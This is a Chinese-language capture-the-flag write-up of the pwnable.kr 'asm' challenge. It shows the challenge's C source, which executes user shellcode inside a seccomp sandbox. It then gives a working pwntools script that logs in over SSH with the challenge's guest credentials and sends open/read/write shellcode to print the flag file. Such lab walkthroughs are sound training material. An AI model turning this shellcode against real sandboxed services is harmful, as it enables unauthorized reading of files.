【pwnable.kr】 asm

一道寫shellcode的題目，

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    if (ctx == NULL) {
        printf("seccomp error\n");
        exit(0);
    }

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

    if (seccomp_load(ctx) < 0){
        seccomp_release(ctx);
        printf("seccomp error\n");
        exit(0);
    }
    seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);

    printf("Welcome to shellcoding practice challenge.\n");
    printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
    printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
    printf("If this does not challenge you. you should play 'asg' challenge :)\n");

    char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
    memset(sh, 0x90, 0x1000);
    memcpy(sh, stub, strlen(stub));
    
    int offset = sizeof(stub);
    printf("give me your x64 shellcode: ");
    read(0, sh+offset, 1000);

    alarm(10);
    chroot("/home/asm_pwn");    // you are in chroot jail. so you can't use symlink in /tmp
    sandbox();
    ((void (*)(void))sh)();
    return 0;
}

首先申請一塊內存，並以0x90(nop)清零，再復制字符串stub進入，最后再拼接用戶輸入並執行

先看一下stub的內容，是將所有寄存器清零

這對我們shellcode的執行沒有影響，直接寫操作就好。

題目中的沙箱限制了大多數函數的使用，只能使用read、write、open、exit函數

思路就是利用open打開flag文件、read讀出內容，最后用write寫入到stdout中即可，具體可使用pwntools編程（shellcraft模塊）

# coding:utf-8
from pwn import *

con = ssh(host='pwnable.kr', user='asm', password='guest', port=2222)
p = con.connect_remote('localhost', 9026)
context(arch='amd64', os='linux')
shellcode = ""

shellcode += shellcraft.open('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
print shellcode
print p.recv()
p.send(asm(shellcode))
print p.recvline()

運行即可